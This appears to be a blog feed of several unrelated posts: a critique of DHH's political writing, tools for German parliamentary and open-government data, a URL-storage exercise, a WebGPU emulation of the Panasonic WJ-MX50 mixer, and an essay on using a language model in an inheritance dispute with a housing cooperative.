I should not have. Since then DHH has published a steady stream of posts on politics and culture, and I went back and read 19 of them, roughly year by year, with sources next to them. One by one they look like hot takes. Back to back they look like something else.
So here is every post, what he argues, and why it’s a problem. His posts are linked, and so are the sources against them. Click through.
Are we past peak “woke”?, December 2021. He argues “woke” culture peaked in 2020-21 and is now going down. Evidence: John McWhorter’s Woke Racism getting airtime on mainstream TV, crime going up in Philadelphia, Chicago and San Francisco (blamed on “defund the police”), and the Virginia governor race. He closes hoping politics in general goes away from everyday life.
The problem is the method. Crime anecdotes from cities he doesn’t like become proof that “defund” failed, but almost nobody defunded anything: more than half of the 50 largest US cities kept or raised their police budgets.
The waning days of DEI’s dominance, November 2022. Four reasons why DEI is going away: the coming Supreme Court case on affirmative action, BLM scandals, Musk buying Twitter, and tech layoffs.
Two problems. He states as fact that gaps in demographics are no evidence of discrimination. Audit studies say otherwise: when researchers sent more than 83,000 fake applications to 108 of the largest US employers, Black-sounding names got contacted measurably less. And he welcomes the layoffs, because they will make the “fervent ideologues” harder to hire. That’s a CTO cheering for people losing their jobs over their opinions, in a post that complains about people losing their jobs over their opinions.
We must say no to these people, three days later. Readers called him a white supremacist after the DEI post. His answer is McWhorter again: if you get called a racist for dissenting, don’t let it shame you. He also complains about “transitive guilt”, people around him being pressured to distance themselves.
The problem: if every racism accusation comes from “The Elect” and is baseless by definition, no accusation can ever land. That’s a self-sealing argument. Criticism becomes impossible, not because it’s wrong but because of who says it. Reviewers of McWhorter’s book noticed the same thing about the book itself: the religion metaphor turns the other side into a uniform, intransigent cartoon.
The faith of Andrew Tate, September 2022. A free speech argument: banning Tate from social media is a slippery slope. To show a double standard, he quotes misogynistic lyrics from Dr. Dre, Jay-Z and Eminem, who are still celebrated. The ban, he says, hands Tate a “credible martyr role”.
The problem is the false equivalence: a performed rap lyric is not the same as an influencer selling teenage boys a course on controlling women. And reality caught up fast. Tate was arrested in Romania three months after this post, and the UK has since charged him with rape and human trafficking.
The law of the land, June 2023. The Supreme Court ends race-conscious college admissions. His reaction, as its own paragraph: “Good.” He compares 2020-21 to the Red Scare and hopes companies will now drop their DEI programs.
The Red Scare comparison doesn’t hold. Truman’s loyalty program pushed nearly 7,000 people to resign or withdraw, fired 560, and found not a single spy. A diversity workshop can be annoying (I’ve sat through bad ones), but it is not a loyalty oath. To be fair, he does admit reasonable people disagree here.
Forcing master to main was a good faith exploit, April 2024. He renamed the default branch in good faith, now sees it as an exploit, and promises “the firewall will be ready” next time.
Nothing was forced. Git simply made the default branch name configurable, and if you love “master” you can keep it. What bothers me more is the firewall: he commits to rejecting the next request before hearing what it is. That’s not scepticism. That’s having the answer before the question.
Bad Therapy, March 2024. A rave review of Abigail Shrier’s book about over-therapised parenting in the US. Along the way he declares her earlier book, Irreversible Damage, vindicated.
That earlier book claims the rise in trans teens is mostly social contagion. Science-Based Medicine called that narrative unsupported and a misreading of the evidence. That is itself a contested fight (the same site retracted a positive review of the book), but “settled truth that a mob tried to censor” is not a fair description of it either.
Too much therapy at work, November 2024. An all-hands about a fired COO turned into hours of emotional processing. His conclusion: managers aren’t therapists, take it to a licensed one.
Honestly, the most reasonable post on this list. Plenty of people agree. It just reads different when you remember that this is the company where a third of the staff walked out in 2021, and he frames the anxiety as fragility.
Cold reading an ADHD affliction, nine days later. ADHD diagnosis is a cottage industry, the symptom lists work like a psychic’s cold reading, and he could qualify himself.
He leaves out the parts of the DSM-5 criteria that actually do the work: symptoms before age 12, in more than one setting, with clear impairment at school, work or socially. Those filter out most people who just “recognise themselves”. He also calls the medication speed. To be fair, he does say real cases exist.
Normal boyhood is ADHD, April 2025. Based on a New York Times Magazine piece he argues most diagnoses in boys pathologise normal behaviour, and the meds don’t help learning. Then he puts ADHD medication next to the opioid crisis and puberty blockers.
Factual problem: he calls Ritalin an amphetamine. It’s methylphenidate, a different drug. Bigger problem: lumping ADHD with opioids and trans care turns a medical debate into a culture war one.
Serving the country, February 8, 2025. Musk is a modern William Knudsen (the Dane who ran US war production in WWII), the most qualified man alive to fix a two-trillion-dollar deficit. “Let him cook.”
Published 19 days after the salute. And the cooking: DOGE never got anywhere near two trillion, and the GAO later found $27.4 billion of its claimed savings came from contracts that were never actually cancelled.
Gender and Sexuality Alliances in primary school at CIS?!, June 2025. His kids’ international school in Copenhagen planned a Pride week for young children, and runs a staff-supervised GSA lunch club for 8 to 11 year olds. After parent complaints, the school scaled both back.
He calls the lunch meetings “creepy” and asks about the staff’s qualifications. Anyone who followed US politics since 2022 knows that move, it’s the grooming trope used against LGBTQ teachers. He also calls it indoctrination and links it to the contagion theory from Shrier.
The parental dead end of consent morality, June 2025. “Consent morality” (anything goes between consenting adults) has devalued parenthood and dragged birth rates down. Jordan Peterson gets the credit, and the post ends with “2.1 or bust, baby!”
Accepting that some people don’t want children is, in his words, nihilistic and cowardly. That’s straight pronatalist rhetoric, and pronatalism is a movement where you want to check the company before you join: religious right, tech people and “new right” anti-feminists, with conference speakers blaming falling birth rates on feminism and on the end of “natural hierarchies” of gender and race.
Building competency is better than therapy, July 2025. Exercise, learning and community beat talk therapy for “garden-variety” depression, especially for men. His example of such a competency is his own Linux distro.
He cites a BMJ meta-analysis on exercise and major depression. The authors suggest exercise next to psychotherapy and medication, and say their confidence is low. In DHH’s hands that becomes: most people don’t need therapy. Plus a plug for Omarchy.
The beauty of ideals, July 2025. Ideals should be unattainable, the 90s made losing cool, Naomi Wolf ruined beauty. A plus-size Calvin Klein ad in Copenhagen is a “grotesque display of obesity”, and representation means celebrating the obese, the lazy, the ignorant and the incompetent, all in one sentence.
Body size as a moral failing, right next to laziness. And it doesn’t even work as motivation: weight stigma does not make people lose weight, it makes their health worse.
It’s beginning to feel like the 80s in America again, August 2025. The Reagan years were earnest and optimistic, and 2025 finally brings that back. He praises American Eagle for not apologising for the Sydney Sweeney “great jeans” ad.
The ad was criticised for a genes/jeans pun with a blonde, blue-eyed model, and the phrase “good genes” has a long history in American eugenics. He applauds the company for refusing to even engage with that, and calls the concern “shit-tinted glasses”.
And then September.
As I remember London, September 15, 2025. London isn’t his city anymore because fewer of the people there are native Brits. The number he links for “native” is the census category White British. Which makes every Black or brown Londoner born in Lewisham a foreigner. He calls it “demographic replacement”, the vocabulary of the Great Replacement conspiracy theory, and describes Tommy Robinson’s march the day before as heartwarming, the crowd as normal and peaceful.
It wasn’t peaceful. 26 police officers were injured at that march, and the speakers included Musk, French far-right politician Éric Zemmour and an AfD leader. The documented version needs no exaggeration: a tech founder praising a far-right march, in replacement language.
Words are not violence, September 11, 2025. The day after Charlie Kirk was shot, he condemns people celebrating the killing, and argues that words must never be treated as violence.
On its own, nothing to argue with. Celebrating a killing is sick. The problem only shows up two weeks later.
Calling someone a “nazi” is a permission slip for violence, September 24, 2025. Calling someone a nazi authorises violence, and his opponents are “the last loonies on tech’s woke island”.
So words are violence after all. When they point at him. And nine days earlier, in the London post, he wrote that the nazi label had finally stopped working on anybody. Pick one.
Read one post and you can shrug. A contrarian having a bad week, a Danish guy annoyed by American parenting, fine. Read them back to back and it’s not a bad week anymore. It starts with “maybe we passed peak woke” in 2021, and four years later he is writing about demographic replacement and calling a Tommy Robinson march heartwarming. That’s not a series of hot takes. It’s a route, and people have walked it before.
His fans will say this is just centre-right opinion, and some of the early posts are exactly that. Being sceptical of DEI trainings or ADHD overdiagnosis doesn’t make you anything. But the London post is not about immigration policy anymore. It decides who counts as British by skin colour, and that’s the point where I stop debating.
I don’t think DHH is a Nazi. I don’t need to. There are enough pieces of that political culture in his writing (the replacement talk, the rally, the “only my side’s words are violence” double standard) that I don’t want him, his following or his products anywhere near my work. That includes Rails, which hurts, after all these years. Every good idea in there exists elsewhere, from people who don’t come with this baggage.
]]>Why he stopped is the interesting part. The Landtage kept “relaunching”. New HTML templates, same infrastructure underneath, never open data. Every relaunch meant writing the scraper for that Landtag again from zero. In Sachsen the link to a found document just expires after 15 minutes. A mail to the Landtag NRW, who runs the Parlamentsspiegel for all Länder, got answered weeks later by paper mail: “nicht zuständig”. An IFG request went nowhere. You can not do this as a hobby forever, and he said so.
The OKFN said it more bluntly: volunteers running infrastructure that is the job of the public hand changes nothing structurally. They are right. Keep that in mind for later.
I spent a lot of my career extending other peoples code bases, so I know what a “relaunch” usually is: a new theme on the old thing. I don’t think anybody in a Landtag sat down and planned to break Max’s scrapers. Nobody had to. 17 parliaments, a handful of vendors, every installation configured different and every one a bit worse. The cost of reading it all lands on whoever wants to read it all, and that was one volunteer. Paid political monitoring exists, as Max points out, so the lobby groups that can afford it were fine anyway.
That is the data fragementation I mean. It does not need a conspiracy, it needs an asymmetry: making the mess is cheap for the publisher, cleaning it up is expensive for the reader. As long as that holds the mess wins, and “Open Data” can go into every strategy paper without anything happening.
So I built openka-cli. 17 parliaments, one record format, ka sync --source berlin and ka search "Brücken Zustand".
The part that burned Max out, rebuilding a scraper per Land per relaunch, is now the cheap part. Thüringen answers Drucksache 8/979 with 8/1715 and nothing numeric connects the two, so the connector asks the Vorgang API. Saarland’s “PDF” link is an HTML page with an iframe, so the URL gets rewritten to the download endpoint the iframe names. Sachsen hides the real file in the navigation frame of a frameset viewer. Niedersachsen has nothing reachable that links question to answer at all, so a factory tool sweeps the Drucksachen range once and freezes the map. Each of these would have been a weekend of swearing in 2016. Now it’s a prompt, a fixture and a review. When the next relaunch comes a golden fixture goes red and the fix is an hour.
One thing I care about, because “AI” and “government data” in one sentence makes people nervous for good reason: the agent writes the code, it does not run in it. The runtime is deterministic, no model on the line. When an extractor can’t read a document it abstains and the document lands in ka review. ka verify re-runs the extraction from the archived bytes and the record has to come out byte identical. A missing fact you can fix later. A made-up one in a corpus about what a government told its parliament is poison. Agents in the factory, boring code in the product.
Coverage is honest, not complete ([96 test records from eight parliaments, 68 extract completely]). The rest say what they could not read, instead of pretending.
Look at the sources table and you see the tricks that remain once the technical drag stops dragging. Brandenburg and Sachsen-Anhalt put Disallow: / in the robots.txt of their document servers. NRW disallows its own search, while running the aggregator for everyone (go figure). openka respects that by default and tells you, rather than quietly returning nothing.
And then there is the trick data activists know too well: getting sued. In 2021 Markus Drenger mirrored the official Hauskoordinaten from the Bavarian Landesamt on GitHub. Bayern answered with a takedown, a criminal complaint and a civil suit over database rights, with damages that according to Drenger could have gone into the millions. Five years later the OLG München threw it out as inadmissible, because the Freistaat changed its story mid-trial about who actually built the database. No appeal. The real question, if a state can lock up data it already publishes, the court never got to. Five years of that hanging over a volunteer is the actual message, win or not.
The funny part is that the law is half way there. The Datennutzungsgesetz says public data should be “open by design and by default” where possible, and for high value datasets like geodata reuse has to be free. One paragraph earlier the same law says nobody gets a right to have anything published. So the principle is in the Bundesgesetzblatt and the obligation is not. “Follow your own rules” is less a legal argument than an embarrassing one.
For Kleine Anfragen it is even simpler. Drucksachen are published so the public can take notice, which makes them amtliche Werke: no copyright, just don’t alter them and name the source. openka does both, the archived PDF is the source. Nobody needs to sue anybody here.
The OKFN point still stands. I should not run the infrastructure for 17 parliaments any more than Max should have. But the math changed: when the cost of the mess no longer lands on the reader, the only one still paying for it is the publisher. Suing the people who read your public documents is the most expensive way to stay unreadable. Living up to the principle you already wrote into law, and shipping an API, is cheaper, and it’s not a moonshot. Berlin already exports PARDOK XML per Wahlperiode, the Bundestag has DIP with a public API key. So it can be done.
p.s. Hamburg, my home town, runs ParlDok, the same software as Mecklenburg-Vorpommern and Thüringen, which both have a working JSON API. Hamburg’s service was unreachable when I built this. WTF Hamburtg, WTF.
]]>The setup: 200 million URLs, coming from 20.000 sources, collected over four years. That is roughly 160.000 URLs per day, every day, steadily. Nothing bursts, nothing stops.
Optional, if you feel fancy: store the link structure. Which URLs link from here, which ones link to here. That is the point where the thing quietly turns into a graph and the storage estimate doubles, so its optional for a reason.
You can put it in Postgres. I probably will, at least at first. But a URL is not a string, it just looks like one. Protocol, host, path, query, fragment, and every part wants a different kind of index. The query part is the ugly one: ?a=1&b=2 and ?b=2&a=1 are the same page for most sites and different pages for some, and nobody on the web follows a standard for this. So normalization and dedup is where the real work hides, not in the INSERT.
Then there is the index itself. A btree over 200 million strings of maybe 80 bytes is not nothing and the “is this URL already known” check runs 160.000 times a day before anything gets written. This is the textbook case for a Bloom filter in front of the real store, or for partitioning by host, or by day, or both (day partitions also make “give me todays URLs” a table scan of one small table instead of an index lookup on a huge one).
And the estimate. Raw data is easy, 200 million times 80 bytes, call it 16 GB. Now add the indexes, the parsed components if you store them separately, the metadata, four years of write amplification. I do not have a number I trust yet and thats half the point of the exercise. I am guessing a factor of 4 to 5 over the raw data, would love to be wrong.
Fork it. Do not start with the architecture diagram. Generate some synthetic URLs first, because nobody has 200 million real ones lying around, and make the generator ugly on purpose: weird parameter orders, trailing slashes, the same host in three spellings. Then build one part, measure it, throw half of it away, build the next part. Batch inserts, async writes, maybe more than one machine, whatever survives contact with the data.
I want to see what people come up with. The interesting solutions are not the ones with the biggest cluster, they are the ones where someone noticed which requirement is cheap and which one is a trap.
p.s. This is a wicked problem in the small. You will not finish it, you will just stop at some point and know a lot more about URLs than you wanted to.
]]>
Here are some links from the skeets you probably want to read
]]>
The Panasonic WJ-MX50 was a desktop digital A/V mixer sold in the early 1990s for wedding videographers, cable-access studios, and anyone else doing A/B-roll editing on S-VHS decks. Two buses, four sources, 287 wipe patterns, a chroma keyer, a downstream keyer, eight event memories, and a joystick. The whole thing was defined by a 40-page operating manual that is unusually precise about behavior: which button blinks when, which effect excludes which, how many frames an auto-fade may take (0 to 510, in steps of 2 — not 1, not 5).
That is what Panasonic sold it for. It is not what we used it for. Well into the 2000s, this thing was on stage with us in techno clubs, doing VJ duty for hours at a stretch. Two of its four channels were fed by computers running VJ software; the others carried digital video players and stills, depending on the club setup. The computers generated the material, but the MX50 is where the performance happened. Used that way, it stops being an editing appliance and becomes an instrument: the lever is played, not set; the joystick throws a mosaic block around the screen in time with the kick; Auto Take with the transition control at minimum is a percussion button. It is a profoundly interactive way to do visuals — interactive enough that people watching us work the panel regularly mistook us for the DJs, or for a live act. Nobody mistakes a laptop VJ for anything.
https://www.youtube.com/watch?v=FQA_01Ck95Y
So when I set out to reproduce the unit in a browser, the question was never whether it could be made to look like an MX50. The question was whether it could be made to behave like one — block for block, blink for blink — because an instrument lives in its behavior, and twenty-year-old muscle memory is an unforgiving reviewer. The manual served as the specification of record; my hands served as the acceptance test. The result is web-mx-50: vanilla TypeScript, WebGPU for the video path, Web Audio for the mixer, no framework, no bundler, and about 5,700 lines of source. This article describes the parts of the exercise that turned out to be interesting. The artwork is not one of them.
The first job was not code. It was reading the manual until it stopped being a manual and started being a data structure. The MX50’s feature set looks sprawling, but it decomposes cleanly, because the hardware itself was built from blocks wired in a fixed order:
Source -> bus assignment -> Colour Correction -> Digital Effect
-> Mix/Wipe -> Downstream Key -> Fade -> Program Out
That order is not an implementation detail; it is observable behavior. The downstream key sits after the effects, which is why a title stays sharp over a mosaic. The fade sits last, which is why you can fade the video out and leave the title standing. So the first architectural decision was to make the block order structural: the renderer is a sequence of passes in exactly that order, and no code path can reorder them. The signal graph is written down once, in one module, and everything else reads it.
The second observation was that nearly all of the manual’s fussy details are state transitions, not pixels. “Press A once, the LED blinks and CHROMA is active; press again, the LED goes solid and the RGB joystick is added; press a third time, correction is off.” “If Matte is selected on a bus and you press that bus’s direct-out button, the unit outputs the blinking substitute source instead.” “Still switches off automatically when Strobe is engaged, but Trail may run on top of Still.” None of that needs a GPU to verify. It needs a state machine and someone patient enough to transcribe the manual into scenarios.
The entire panel — both buses, the matte generator, the wipe pattern selection, the DSK sliders, the fade enables, all eight event memories — is a single plain JSON-serializable value. Every change goes through one pure reducer as a typed command. No classes, no observables, no GPU handles or HTMLVideoElement references inside the state; device bindings are referenced by id and resolved outside the store.
This is not a fashionable choice so much as a forced one, and the hardware forced it twice. First, the MX50 has Event Memory: eight snapshots of the complete panel, storable and recallable at the press of a button. If your state is one plain value, Event Memory is structuredClone and an array of eight slots. If your state is scattered across component instances, Event Memory is a research project. Second, the unit holds its settings across power cycles (about a week on the internal backup, says the manual), which maps to schema-versioned browser storage — again trivial if the state is one value, and miserable otherwise.
The same store made the control layer thin. The original unit had a GPI contact input and an RS-422 port for an edit controller. The browser equivalent is a mapping layer that normalizes keyboard, gamepad, MIDI, and a small automation API onto the same command vocabulary the front panel uses. A MIDI fader and the on-screen lever end up as the same command with a different origin, which is exactly how the hardware treated its own remote protocol. This layer is also where the instrument angle survives translation: a screen full of widgets is not something you can play with your eyes on the crowd, but a MIDI controller with a real crossfader is, and mapping one onto the MX50’s command set takes a table, not a subsystem.
The behavioral spine of the project is 536 Gherkin scenarios (3,921 steps) in 26 .feature files, one per hardware block, each scenario ground-truthed against a section of the manual. Alongside them run 208 conventional unit tests. All of it executes headlessly against the real domain code — no GPU, no DOM, no browser.
I am aware that Cucumber has a reputation, mostly earned, as a ceremony generator for enterprise projects where nobody reads the features. Here it did honest work, for one reason: the source material was already written in Gherkin’s register. The manual says things like “When the SELECT button is pressed, the color indicated on the Matte Color Indicator changes from lower to upper. The Black will be selected after the Color Bar.” That is a scenario. You transcribe it, wire the steps to the reducer, and now a forty-page document from 1992 fails your build when you get the matte cycling order wrong. When behavior and code disagree, the feature file wins until a scenario is deliberately changed — a policy that sounds bureaucratic and in practice meant the manual kept catching me.
The wipe engine benefited most from this. The MX50’s 287 wipe patterns are not a list; they are a small algebra. Seven pattern families, each cycling four variants, times a set of stackable modifiers (Compression, Slide, Multi, Pairing, Blinds), with a legality table for which combinations exist and a numbering scheme where pattern n and pattern n+128 are the same wipe reversed. Numbers above 255 exist on the panel but cannot be addressed over RS-422, and the external edit controller could only call 01–99, with 99 meaning “whatever is currently set up” — an escape hatch I have come to admire. All of that is pure arithmetic and table lookups, implemented in one GPU-free module and specified exhaustively in Gherkin. The shader consumes its output; it does not reimplement it.
The wipe shader treats each family as an analytic signed distance field f(uv, progress, variant). The A/B mask is smoothstep(-w, +w, f); the Soft button sets the feather width w; the Border button draws a colored band where |f| is small, with the color computed CPU-side as the complement of the current matte color, exactly as the manual specifies. Reverse mirrors a coordinate, Aspect scales one axis for the square family, Multi tiles the coordinate space, Pairing mirrors it before evaluation. One shader, one uniform block, seven fields.
Two decisions here deserve a note because they are where fidelity was deliberately bent.
The first: no NTSC. The real unit sampled 8-bit component video at 4:1:1 and juggled interlaced fields; its Frame button traded vertical resolution against interlace flicker. Browser sources arrive as progressive full-resolution RGBA frames on a compositor clock. Emulating chroma subsampling, field parity, and genlock drift would mean synthesizing artifacts the input never had — fiction, not emulation. So the working representation is linear-light RGBA with sRGB output, the compositing math is done in linear space (do this, or your wipe edges gamma-darken), and the Frame button’s behavior is documented as moot. The substrate was deferred; the behavior was not.
The second: the frame synchronizer, the MX50’s headline feature in 1992, is not built, because the problem it solved no longer exists. What survives from that silicon is its side effect — per-bus frame memory — which is what Still, Strobe, Multi, and Trail actually consume. Those four effects share one GPU frame-store per bus, and because they share it, the hardware’s odd exclusion rules (Still and Strobe are mutually exclusive; Trail rides on Still) fall out of the design rather than being bolted on. It is pleasant when the original engineers’ constraints explain your own.
Auto Take and Auto Fade run 0–510 frames in 2-frame steps, pausable mid-flight. In a club this is not a convenience feature; it is how you land a transition on a phrase boundary — dial the frame count once, then fire it on the one. A transition whose duration wobbles with the display refresh rate would be useless for that. And if you drive it from requestAnimationFrame deltas, that is what you get: a 300-frame fade takes a different wall time on a 60 Hz and a 144 Hz monitor, and your tests need a browser besides. Instead there is a fixed-timestep logical clock: an accumulator converts real elapsed time into whole video-frame ticks, all time-dependent logic reads ticks only, and the present loop uses the sub-tick fraction purely for interpolation. Tests step the clock directly. A 300-frame fade is 300 ticks everywhere, which is the kind of sentence you want to be able to write about a mixer.
Pick an artifact with a good manual. The MX50 succeeded here because Panasonic’s technical writers in 1992 specified blinking LEDs and frame counts; a vaguer manual would have left me inventing behavior and calling it fidelity. Transcribe first, code second — the feature files were worth more than any framework. Keep the state in one dumb value; every hardware feature that looked hard (event memory, persistence, external control) became easy for that one reason. And decide early, in writing, which parts of the past you are not bringing along. There are sixteen architecture decision records in the repository, and the two most useful ones are the ones that say “no.”
The domain model is complete and verified. The deferred remainder — mostly rendered-pixel verification and browser-only surfaces — is inventoried with a file and line number for each item, which is as close as a proof of concept gets to a clean desk.
The code is at github.com/sebs/webgpu-mx-50 The manual, as ever, is the authority — though the manual never once anticipated a smoke machine.
My father died in November. Sometime between the 16th and the 19th — the death certificate gives a range, not a date, which is its own small horror to read on a form.
Months later, after the apartment was emptied and cleaned and handed back, after the trip south to collect the certificate of inheritance from the probate court and carry it, personally, to the housing cooperative’s office, two letters arrived. They were dated eighteen days apart. They arrived in the same envelope, on the same day.
The gist: his membership in the cooperative would end. The shares — fourteen of them, a small four-figure sum — would be paid out to me after next year’s members’ meeting. A transfer of the shares themselves was “no longer possible due to the long delay.”
I didn’t want the money. I wanted the shares. In a housing cooperative the shares aren’t an investment, they’re a position: they’re what makes you a member rather than a possible tenant. Converting them to cash is not a settlement, it’s an eviction from a category: I could get a affordable apartment in my hometown and given I work in a org functionality for a company based there. Do your Math.
I also had the strong feeling — the specific, useless feeling you get when an institution tells you something in the passive voice — that this was wrong. Not unfair. Wrong. As in: incorrect. As in: someone in an office had put my file in the wrong pile and the wrong pile had a form letter attached to it.
But feeling that and knowing it are different things, and the gap between them is exactly where most people give up. That gap is made of statutes you’ve never read, a set of bylaws written in 1871 and amended for a century and a half, and the entirely reasonable suspicion that fighting over a four-figure sum will cost you more than the four figures.
So I did the thing that would have been science fiction three years ago. I dumped everything — the bylaws, the letters, the emails, the death certificate, the handover protocol, the whole miserable folder — into a context window and asked a language model to tell me whether I was right.
180 minutes later I had a two-page letter citing four statutes and three bylaw sections, a reference document mapping every legal provision in play, and a clear answer to the question I’d actually been asking, which was not what are my rights but am I crazy.
I was not crazy. The cooperative had applied the wrong paragraph.
The mechanics matter here, because the interesting part isn’t “AI wrote a letter.” Anyone can get an AI to write a letter. The interesting part is the shape of the reasoning, and where the machine was better than I was, and where it was worse.
The documents were garbage and it didn’t matter. The bylaws were a scanned PDF of a printed booklet — no text layer, and the file wasn’t even really a PDF, it was a zip of page images with a misleading extension. In 2019 this is where the project dies. Instead: unzip, rasterize, OCR with a German language model, and thirty-two pages of 19th-century cooperative law became searchable text. Imperfect text — the OCR rendered § as $ half the time — but searchable. The bad scan is no longer a barrier to entry. That is a bigger deal than it sounds. An enormous amount of the law that governs ordinary people’s lives sits in exactly this format: scanned, unindexed, technically public and practically inaccessible.
The core error was a paragraph mix-up, and finding it required reading two provisions side by side. The cooperative had reasoned from the section governing transfer of shares between living people — which requires board approval, to which no one has a right. Hence “not possible.” But when a member dies, that section doesn’t apply. A different one does: the one saying membership continues through the heirs. Automatically. By operation of law. No application, no approval, no transfer. The entry in the members’ register merely records what already happened; it doesn’t create it.
That’s the whole case. One paragraph substituted for another. It’s not an exotic legal theory, it’s a filing error with legal consequences, and once you see it you can’t unsee it.
The strongest argument came from a distinction the model made that I hadn’t. The bylaws do contain a six-month deadline — but the clause begins “if there are several heirs.” I’m an only child of a divorced man; there is no one else. The deadline was never running. And then the move that made it airtight: that clause exists because the statute permits cooperatives to impose such a deadline, and the statute permits it explicitly and only “for the case of inheritance by several heirs.” So even if the cooperative wanted to read its own bylaws expansively, it couldn’t — the law above the bylaws doesn’t allow it. The argument shifted from that’s not what your rules say (arguable) to your rules aren’t allowed to say more (not arguable).
I would not have found that. I know what I know, and the hierarchy between an enabling statute and a bylaw clause is not in it.
The date the cooperative chose gave away its own reasoning. Termination “due to death” — effective December 31st of the following year. That date can’t be derived from anything except the several-heirs clause: deadline expires, membership ends at the close of that business year. So the office had assumed a community of heirs that failed to meet a deadline. The certificate of inheritance, which they had in their hands, says “sole.” The date was a confession.
And they had already called me the heir in writing. Buried in an April email, in the middle of a paragraph about renovation costs: “son and heir of the deceased.” They had accepted my inheritance for every obligation — clearing the apartment, the repairs, an outstanding invoice — and denied it for the one right attached to it. There’s a Latin phrase for this and a section of the civil code, but you don’t need either. You need someone to notice the sentence. The model noticed the sentence.
Where it was worse than me, and this matters more than the wins: at one point a draft stated a fact about my own case more precisely than I could actually back up. Not invented — I had told it so, and it had reasonably taken my word. But a confident, checkable, false-if-challenged factual claim sitting in the middle of an otherwise solid letter is exactly the thing that gets a good case laughed out of a room. The fix was to restate it in a form that was still true if someone pushed. Same argumentative force, no exposure.
The model flagged the risk itself, which is to its credit. But I had to be in the room to know which version of the fact would survive contact with the other side. The machine can tell you which sentence is dangerous. It cannot tell you which one is true. That’s the whole division of labor, and everything below follows from it.
Here’s the part I’ve been circling.
What happened in those 180 minutes was not that I got legal advice. I got something more specific and, I think, more consequential: I got parity.
The cooperative’s office has a process. The process has been run hundreds of times. It has form letters, an internal sequence, precedent, and — decisively — the knowledge that almost nobody on the receiving end will check. That last asymmetry is the load-bearing one. Institutions are not usually malicious. They are usually routinized, and routine plus asymmetric knowledge produces outcomes indistinguishable from malice while everyone involved keeps a clear conscience.
The traditional fix is a lawyer. The traditional fix costs more than the thing you’re fighting over, which is why the traditional fix mostly doesn’t get used, which is why the routine keeps producing the same outcome. Every small wrong sits below the threshold where the remedy makes economic sense. That’s not a bug in the legal system, that’s the equilibrium the legal system rests on.
A capable model collapses the cost of the first 180 percent of that work to roughly zero. Not the last ten. Not the courtroom, not the strategy under adversarial pressure, not the judgment about which fights are worth having. But the reading, the mapping, the finding of the wrong paragraph, the drafting, the citation-checking — the part that turns a feeling into a claim. That part is now free.
I want to be careful about the triumphalism here, because there are three things about this that worry me.
First: this cuts both ways, and the other way has more money. If I can produce a well-cited demand letter in 180 minutes, so can a debt collector, a patent troll, a landlord’s management company, a firm that sends ten thousand letters a month hoping two percent pay. The cost of generating legal pressure has fallen for everyone, and the people who were already generating legal pressure at industrial scale have better tooling and no scruples about volume. A world where everyone can produce a plausible legal threat instantly is not obviously a world with more justice in it. It may just be a world with more letters.
The asymmetry doesn’t vanish. It moves. What used to be an asymmetry of access to expertise becomes an asymmetry of capacity to absorb noise. Institutions can absorb noise. Individuals can’t.
Second: fluency is not correctness, and this failure mode is nastier than the old one. The false date almost went out. It was in a paragraph that read beautifully. A wrong claim wrapped in correct citations and confident structure is more dangerous than obvious nonsense, because obvious nonsense gets caught. There is a specific new hazard — a person with no legal training, holding a document that looks exactly like competent legal work, with no ability to tell which sentences are load-bearing and which are fabricated. They will send it. Some of them will send it into situations far more consequential than a dispute over cooperative shares.
The thing that made this work was not the model’s competence. It was that I could check the facts it asserted, because the facts were about my own life. Every single time I caught something, it was a fact about me — what had actually happened, and how much of it I could prove. That’s the domain where a layperson retains real epistemic authority. Push into a domain where the user can’t check anything and the same fluency becomes a liability with a nice typeface.
Third, and this is the one that actually keeps me up: this capability is contingent, and it is nobody’s right. I used a frontier model, on a good day, with a large context window, with tools that let it run OCR and search the web and render documents. None of that is guaranteed to exist next year in the form it exists today, at a price I can pay, for the uses I want to put it to.
Access can be tiered. Capability can be routed — a query about something sensitive can quietly get answered by a smaller model, and you may not be told. Terms of service can carve out legal use entirely, and there are real liability reasons a provider might want them to. Regulation could mandate that carve-out in the name of consumer protection, which would protect consumers from bad legal advice by protecting them from any legal advice at all, in the way that a locked hospital protects you from infection.
And the people who’d be least affected by all of that are the ones who already have lawyers.
The most darkly funny version of this: the institutions on the other side of these disputes will absolutely have the enterprise tier. Legal-tech procurement is a line item. A large housing company, an insurer, a collections agency — they will have the good model, integrated, with a compliance wrapper and an indemnity clause. The question is whether the person on the receiving end of the form letter has anything at all.
That, and not model capability, is the political question. The technology to close the gap exists. It worked. I have the letter, cited and dated and in the mail. The open question is whether that stays true for people with less time, less education, less money, and a worse case than mine — or whether this turns out to have been a brief window in which the tools were unusually good and unusually available, before the pricing and the liability lawyers and the regulators sorted everyone back into the categories they came from.
I don’t know how the dispute ends. The deadline I set falls in the middle of August. If nothing happens I have two more letters ready — one to the supervisory board, one to the auditing association that reviews the cooperative’s administration, including, as it happens, the correct maintenance of the members’ register.
Both were drafted in about twenty minutes.
That’s the part I can’t stop thinking about. Not that a machine helped me win an argument. That a fight I would have lost by default — not on the merits, by default, by exhaustion, by the sheer administrative friction of being one person against a process — became a fight I could actually have.
For now.
]]>I’ve been running the same play, except the sandwich is public data and the reluctant party is the Federal Republic of Germany. The result is maschinenlesbar.org: Many TypeScript CLIs, one per open API the German state runs, all on npm, all built the same way. sudo bundesrepublik --json, more or less. 25 is the current count. The plan is roughly a hundred.
“Maschinenlesbar” means machine-readable, and it’s not a word I made up for branding. It appears in German law. The E-Government-Gesetz obliges federal agencies to publish their data in machine-readable formats. A country that still confirms things by fax has a statute demanding machine-readability.
And on paper, the agencies delivered. Live water levels for every federal waterway. The complete federal budget. Every registered lobbyist. Ambient gamma radiation from about 1,700 probes. Parliamentary proceedings going back decades. All behind REST endpoints, largely unauthenticated.
So far, so good. Now try to connect any of it.
Here’s the thesis, and it holds across every party and every legislative period: the core strategy of German open-data politics is the prevention of interoperability. The data is published — that box is checked. The data cannot be linked. That’s the actual defense.
Smart people have spent years trying to get one uniform interface over the kleine Anfragen — the written parliamentary questions — across Germany’s parliaments. Or the parliamentary documentation, sixteen states plus the Bundestag, in one format. LOL. There are X systems and every single one does things slightly differently. Federalism is a fine idea for distributing power; here it moonlights as a technique for making sure data never meets other data. Nobody had to forbid anything. No shared identifiers, no common schemas, a different timestamp format per API, one endpoint speaking clean JSON and the next speaking WFS — an OGC standard older than the iPhone — and the job is done.
And when passive fragmentation isn’t enough, there’s the active move: change a format, arbitrarily, and watch every downstream tool die. That trick has quietly killed civic-tech projects for two decades.
